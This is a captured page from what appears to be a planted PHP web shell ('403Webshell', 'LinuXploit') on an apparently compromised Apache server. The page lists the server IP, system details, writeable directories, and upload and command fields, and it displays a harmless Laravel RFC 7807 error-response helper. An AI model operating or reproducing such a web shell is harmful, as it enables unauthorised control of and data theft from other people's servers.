403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/docgen/current/app/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/docgen/current/app/Support/ProblemResponse.php
<?php

namespace App\Support;

use Illuminate\Http\JsonResponse;
use Illuminate\Support\Arr;

/**
 * RFC 7807 problem-details helpers.
 *
 * `Content-Type: application/problem+json` on every error response so SDKs
 * and clients can dispatch on it without sniffing the body shape.
 */
class ProblemResponse
{
    public static function make(int $status, string $title, ?string $detail = null, array $extras = []): JsonResponse
    {
        $body = array_merge([
            'type' => 'about:blank',
            'title' => $title,
            'status' => $status,
        ], $detail !== null ? ['detail' => $detail] : [], $extras);

        return new JsonResponse(
            $body,
            $status,
            ['Content-Type' => 'application/problem+json'],
        );
    }

    public static function unauthorized(string $detail = 'Authentication required.'): JsonResponse
    {
        return self::make(401, 'Unauthorized', $detail);
    }

    public static function notFound(string $detail = 'Resource not found.'): JsonResponse
    {
        return self::make(404, 'Not Found', $detail);
    }

    public static function validation(string $detail, array $errors = []): JsonResponse
    {
        return self::make(422, 'Validation failed', $detail, Arr::whereNotNull(['errors' => $errors ?: null]));
    }

    public static function conflict(string $detail): JsonResponse
    {
        return self::make(409, 'Conflict', $detail);
    }

    public static function unprocessable(string $detail): JsonResponse
    {
        return self::make(422, 'Unprocessable', $detail);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit